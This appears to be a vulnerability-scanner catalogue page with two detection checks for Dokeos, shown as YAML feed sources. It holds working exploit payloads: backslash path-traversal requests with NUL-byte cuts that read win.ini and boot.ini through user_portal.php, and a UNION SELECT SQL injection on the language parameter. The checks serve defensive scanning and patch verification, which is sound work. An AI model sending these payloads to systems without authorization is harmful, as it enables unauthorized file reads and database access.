Dokeos — 2 vulnerability checks

noctis ships 2 vulnerability checks for Dokeos, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Dokeos <= 1.8.5 user_portal.php include Parameter Local File Inclusion

CVECVE-2008-3363
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/dokeos/CVE-2008-3363.yaml

Tests Dokeos 1.8.5 and earlier on Windows for the local file inclusion in user_portal.php, whose include parameter is only checked for a "/" and for the ".html" substring before being appended to ./home/, so "..\" sequences reach any file of the server. The page needs a login: with scan credentials, for each usual Dokeos location (the web root, /dokeos) whose home page shows the Dokeos footer or session cookie, the feed posts the login form to user_portal.php with include set to a "..\" sequence ending in windows\win.ini and a NUL byte followed by .html, then boot.ini the same way, then a NUL-free path that passes the .html test through an existing home\ file. The content of win.ini or boot.ini in the reply confirms the inclusion; a control request for an absent random file in the same shape must come back without any file content and with the same status. Only world-readable system files are read. Without credentials, or when the login fails, an install whose footer shows version 1.8.5 or older and whose Server header names a Windows server is reported from the version alone (lower confidence; a hand-patched 1.8.5 is reported too).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/user_portal.php?include=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks ra.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request POST {{dir}}/user_portal.php?include=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… with a crafted body
  8. Checks rb.body for (?i)\[boot loader\]
  9. HTTP(S) request POST {{dir}}/user_portal.php?include=home_top.html%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C.… with a crafted body
  10. Checks rc.body for (?i)(; for 16-bit app support|\[fonts\])
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request POST {{dir}}/user_portal.php?include={{ctrl_inc}} with a crafted body
  13. Checks ctrl_r.body for (?i)(; for 16-bit app support|\[fonts\]|\[boot loader\])
  14. Checks hit for ^[abc]$ → finding QoD 75: Dokeos user_portal.php include Parameter Local File Inclusion (CVE-2008-3363)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/dokeos/CVE-2008-3363.yaml
# Dokeos <= 1.8.5 user_portal.php "include" local file inclusion — CVE-2008-3363
#
# Dokeos 1.8.5 user_portal.php (svn r15232, fixed in r15738/r15747, July 2008,
# released in 1.8.6) does, after api_block_anonymous_users():
#     if (!empty($_GET['include']) && !strstr($_GET['include'], '/')
#         && strstr($_GET['include'], '.html'))
#         include('./home/'.$_GET['include']);
# The filter rejects "/" but not "\", so on Windows "..\" leaves home\ and any
# readable file whose name passes the ".html" substring test is included
# (printed, or run when it holds PHP code). Linux installs are not affected
# ("/" is the only separator there). A login is needed (any account).
#
# Detection:
#   1. Product gate: <dir>/index.php carries the Dokeos footer
#      (Platform <a href="http://www.dokeos.com">Dokeos <version></a>) or the
#      dk_sid session cookie.
#   2. With scan credentials: one POST per attempt to
#      <dir>/user_portal.php?include=<payload> with login/password in the body.
#      main/inc/local.inc.php logs the account in and only sends a Location
#      header (no exit), so user_portal.php runs in the same reply; no session
#      cookie has to be carried. Payloads, until one returns a file:
#        a. ..\ x13 windows\win.ini%00.html  (NUL cut, PHP < 5.3.4, magic_quotes off)
#        b. ..\ x13 boot.ini%00.html         (the original advisory request)
#        c. home_top.html\..\ x14 windows\win.ini — no NUL byte: ".html" is
#           carried by an existing file of home\ that the next ".." drops, so it
#           also works with magic_quotes_gpc on (\ doubled, NUL escaped) and on
#           PHP >= 5.3.4. Unverified on a real Windows host; it can only add hits.
#      win.ini / boot.ini content in the reply = QoD 75. A control POST for an
#      absent random file in the same shape must come back without any file
#      content and with the same status (fail-closed).
#   3. Without credentials (or when the login failed): footer version <= 1.8.5
#      AND a Windows Server header (Microsoft-IIS, Win32, Win64) = QoD 70.
#      Not reported when the login worked but no payload returned a file.
#
# Improvements over the source NASL: the NASL sends no login, so it only gets
# the "not allowed" page; its payload ends in "%00.ht", which fails the
# strstr(".html") test; and its windows/win.ini path holds a "/", which fails
# the "/" test — it cannot fire on a real Dokeos 1.8.5. The feed logs in,
# keeps ".html", uses "\" only, adds the no-NUL shape, a control request and a
# version fallback gated on a Windows server.
#
# CVSS: CVE-2008-3363 v2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P); NVD has no v3 score.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_dokeos_30150.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100155, GPL-2.0-only).
uid: 959e6dfb-7efe-467b-8260-59fda60cab8e
name: "Dokeos <= 1.8.5 user_portal.php include Parameter Local File Inclusion (CVE-2008-3363)"
description: |
  Tests Dokeos 1.8.5 and earlier on Windows for the local file inclusion in
  user_portal.php, whose include parameter is only checked for a "/" and for
  the ".html" substring before being appended to ./home/, so "..\" sequences
  reach any file of the server. The page needs a login: with scan credentials,
  for each usual Dokeos location (the web root, /dokeos) whose home page shows
  the Dokeos footer or session cookie, the feed posts the login form to
  user_portal.php with include set to a "..\" sequence ending in
  windows\win.ini and a NUL byte followed by .html, then boot.ini the same
  way, then a NUL-free path that passes the .html test through an existing
  home\ file. The content of win.ini or boot.ini in the reply confirms the
  inclusion; a control request for an absent random file in the same shape
  must come back without any file content and with the same status. Only
  world-readable system files are read. Without credentials, or when the login
  fails, an install whose footer shows version 1.8.5 or older and whose Server
  header names a Windows server is reported from the version alone (lower
  confidence; a hand-patched 1.8.5 is reported too).
cves: [CVE-2008-3363]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [dokeos, php, lfi, local-file-inclusion, path-traversal, file-read, windows, authenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-3363"
  - "https://seclists.org/bugtraq/2008/Jul/139"
  - "https://www.exploit-db.com/exploits/6149"
  # OpenVAS/Greenbone NASL 2009/gb_dokeos_30150.nasl (GPL-2.0-only)

steps:
  # Login form fields (empty without credentials), percent-encoded (RFC 3986)
  # so the engine's redaction still recognises the password.
  - id: login-body
    action: script
    store_as: login_body
    code: |
      if !cred_enabled || !is_def_var("cred_username") || !is_def_var("cred_password") { return ""; }
      fn enc(s) {
        let out = "";
        for c in s.chars() {
          let ch = `${c}`;
          if ereg("^[A-Za-z0-9._~-]$", ch) { out += ch; }
          else {
            let h = toupper(hexstr(ch));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      }
      "login=" + enc(cred_username) + "&password=" + enc(cred_password) + "&submitAuth=Ok"

  # ── Loop group: every following step runs once per Dokeos location. Each
  # pass resets the values it reads, so nothing is left over.
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: "", headers: {}}
    loop:
      var: dir
      over: ["", "/dokeos"]

  - id: init-fp
    action: set_var
    var_name: fp
    var_value: {dokeos: false, version: "", vuln_version: false, windows: false, server: ""}

  - id: init-ra
    action: set_var
    var_name: ra
    var_value: {status: 0, body: "", headers: {}}

  - id: init-rb
    action: set_var
    var_name: rb
    var_value: {status: 0, body: "", headers: {}}

  - id: init-rc
    action: set_var
    var_name: rc
    var_value: {status: 0, body: "", headers: {}}

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-login-ok
    action: set_var
    var_name: login_ok
    var_value: false

  - id: init-ctrl-inc
    action: set_var
    var_name: ctrl_inc
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: "", headers: {}}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Product gate + version ───────────────────────────────────────────────
  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: home_r

  - id: fingerprint
    action: script
    store_as: fp
    code: |
      let r = #{dokeos: false, version: "", vuln_version: false, windows: false, server: ""};
      if home_r.status < 200 || home_r.status >= 500 { return r; }
      let m = eregmatch("(?i)href=[\"']?https?://www\\.dokeos\\.com/?[\"']?[^>]*>\\s*Dokeos\\s+([0-9]+(?:\\.[0-9]+)*)\\s*</a>", home_r.body);
      let cookie = "set-cookie" in home_r.headers && home_r.headers["set-cookie"].contains("dk_sid=");
      if type_of(m) == "array" && m.len() >= 2 {
        r.dokeos = true;
        r.version = m[1];
        let p = m[1].split(".");
        let maj = parse_int(p[0]);
        let min = if p.len() > 1 { parse_int(p[1]) } else { 0 };
        let pat = if p.len() > 2 { parse_int(p[2]) } else { 0 };
        r.vuln_version = maj == 1 && (min < 8 || (min == 8 && pat <= 5));
      } else if cookie {
        r.dokeos = true;
      }
      let server = if "server" in home_r.headers { home_r.headers["server"] } else { "" };
      r.server = server;
      r.windows = ereg("(?i)(microsoft-iis|win32|win64)", server);
      r

  # ── Exploit (credentials): a. win.ini through a NUL cut ──────────────────
  - id: probe-a
    action: http_request
    method: POST
    path: "{{dir}}/user_portal.php?include=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini%00.html"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{login_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'fp.dokeos && login_body != ""'
    store_as: ra

  - id: login-check
    action: script
    store_as: login_ok
    condition: 'fp.dokeos && login_body != ""'
    # Only a logged-in page carries the banner's logout form; the redirect
    # target alone is not enough (page_after_login may be index.php, and an
    # unknown login name ends in the same Location: user_portal.php as a
    # success when output buffering is on).
    code: |
      let loc = if "location" in ra.headers { ra.headers["location"] } else { "" };
      ra.status >= 200 && ra.status < 400 && !loc.contains("loginFailed") &&
        ereg("(?i)name=[\"']?logout[\"']?\\s+value=[\"']?true", ra.body)

  - id: match-a
    action: match
    source: ra.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'fp.dokeos && login_body != "" && ra.status != 0'
    on_match:
      set_vars:
        hit: "a"

  # ── b. boot.ini through a NUL cut (older Windows, advisory request) ──────
  - id: probe-b
    action: http_request
    method: POST
    path: "{{dir}}/user_portal.php?include=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini%00.html"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{login_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit == "" && login_ok'
    store_as: rb

  - id: match-b
    action: match
    source: rb.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'hit == "" && login_ok && rb.status != 0'
    on_match:
      set_vars:
        hit: "b"

  # ── c. no NUL byte: ".html" carried by an existing home\ file ────────────
  - id: probe-c
    action: http_request
    method: POST
    path: "{{dir}}/user_portal.php?include=home_top.html%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.ini"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{login_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit == "" && login_ok'
    store_as: rc

  - id: match-c
    action: match
    source: rc.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit == "" && login_ok && rc.status != 0'
    on_match:
      set_vars:
        hit: "c"

  # ── Control: same shape, file in an absent random directory ──────────────
  - id: control-inc
    action: script
    store_as: ctrl_inc
    condition: 'hit != ""'
    code: |
      let up13 = "..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C";
      let absent = "noctis-absent-" + oob_token + "%5C";
      if hit == "a" { up13 + absent + "windows%5Cwin.ini%00.html" }
      else if hit == "b" { up13 + absent + "boot.ini%00.html" }
      else { "home_top.html%5C" + up13 + "..%5C" + absent + "windows%5Cwin.ini" }

  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/user_portal.php?include={{ctrl_inc}}"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{login_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'hit != "" && ctrl_r.status != 0'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings ─────────────────────────────────────────────────────────────
  - id: report-exploit
    action: match
    source: hit
    pattern: "^[abc]$"
    condition: 'hit != "" && ctrl_r.status != 0 && ((hit == "a" && ctrl_r.status == ra.status) || (hit == "b" && ctrl_r.status == rb.status) || (hit == "c" && ctrl_r.status == rc.status)) && ctrl_hit == false'
    on_match:
      finding:
        title: "Dokeos user_portal.php include Parameter Local File Inclusion (CVE-2008-3363)"
        description: "A logged-in request to user_portal.php with the include parameter set to a ..\\ sequence ending in a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs any PHP code found in an included file; any registered user can exploit it."
        remediation: "Upgrade Dokeos to 1.8.6 or later (or apply the vendor fix, which only accepts include values matching ^[a-zA-Z0-9_-]*\\.html$), and run PHP 5.3.4 or later. Until then, block user_portal.php requests whose include parameter holds a backslash, \"..\" or a NUL byte (%00)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/user_portal.php include payload {{hit}} (a = windows\\win.ini%00.html, b = boot.ini%00.html, c = home_top.html\\..\\ path to windows\\win.ini) returned the file's content after login; control for an absent file returned no file content"
      stop: true

  - id: report-version
    action: match
    source: fp.version
    pattern: "^[0-9]+(\\.[0-9]+)*$"
    condition: 'hit == "" && !login_ok && fp.dokeos && fp.vuln_version && fp.windows'
    on_match:
      finding:
        title: "Dokeos <= 1.8.5 on Windows: user_portal.php Local File Inclusion (CVE-2008-3363)"
        description: "The Dokeos footer reports a version up to 1.8.5 and the Server header names a Windows server. These releases include any file named in the include parameter of user_portal.php after a ..\\ sequence, for any logged-in user. Detected from the version only (scan without working credentials); an install patched by hand is reported too."
        remediation: "Upgrade Dokeos to 1.8.6 or later (or apply the vendor fix, which only accepts include values matching ^[a-zA-Z0-9_-]*\\.html$), and run PHP 5.3.4 or later."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/index.php footer: Dokeos {{fp.version}} on a Windows server (Server: {{fp.server}})"
      stop: true

Dokeos <= 2.2 RC2 SQL Injection (language parameter)

CVECVE-2013-6341
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/dokeos/CVE-2013-6341.yaml

Detects CVE-2013-6341 by sending a UNION SELECT payload (with the 0x73716c2d... marker column) to the Dokeos index.php `language` parameter and confirming the reflected sql-injection-test marker on a Dokeos page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?language=0%27%20UNION%20SELECT%201,2,3,0x73716c2d696e6a656374696f6e2d74657…
  2. Checks resp.banner for www\.dokeos\.com
  3. Checks resp.banner for sql-injection-test → finding QoD 75: Dokeos SQLi confirmed — UNION SELECT payload on the language parameter reflected the sql-injection-test marker on a Dokeos page at …:…

References:

Feed source — tests/vulnerabilities/dokeos/CVE-2013-6341.yaml
# Dokeos <= 2.2 RC2 — SQL Injection (CVE-2013-6341)
#
# Dokeos fails to sanitize the `language` parameter of index.php before using
# it in an SQL query. An unauthenticated attacker injects a UNION SELECT whose
# hex-literal column reflects a marker string into the response, confirming
# injection.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_dokeos_sql_inj_vuln.nasl
# (GPL-2.0-only). The full UNION SELECT request line is reproduced verbatim,
# including the 0x73716c2d... marker column (hex for "sql-injection-test"),
# version() and the trailing comment. The plugin also confirms the page is
# Dokeos via the secondary check www.dokeos.com.
#
# The payload carries URL-encoded tokens that reqwest would normalise, so the
# request is sent verbatim over tcp_connect (HTTP/1.0) and the reflected marker
# is matched on resp.banner.
uid: 4db80639-72cf-4c08-8d62-0dab3e2d019e
name: "Dokeos <= 2.2 RC2 SQL Injection (language parameter)"
description: |
  Detects CVE-2013-6341 by sending a UNION SELECT payload (with the 0x73716c2d... marker
  column) to the Dokeos index.php `language` parameter and confirming the reflected
  sql-injection-test marker on a Dokeos page.
cves: [CVE-2013-6341]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [dokeos, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6341"
  - "OpenVAS/Greenbone NASL 2013/gb_dokeos_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  # Verbatim NASL request: the FULL UNION SELECT payload including the hex-literal
  # marker column 0x73716c2d696e6a656374696f6e2d74657374 ("sql-injection-test").
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?language=0%27%20UNION%20SELECT%201,2,3,0x73716c2d696e6a656374696f6e2d74657374,version(),6,7,8%20--%202) HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL secondary check: confirm the response is a Dokeos page before trusting
  # the marker, so a bare reflection elsewhere does not fire.
  - id: fingerprint
    action: match
    source: resp.banner
    pattern: "www\\.dokeos\\.com"
    store_as: fp

  # NASL primary pattern "sql-injection-test" — produced only by the hex-literal
  # column in the UNION, gated on the Dokeos fingerprint.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "sql-injection-test"
    on_match:
      condition: "fp.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Dokeos SQLi confirmed — UNION SELECT payload on the language parameter reflected the sql-injection-test marker on a Dokeos page at {{target_host}}:{{port}}"

View these feeds on GitHub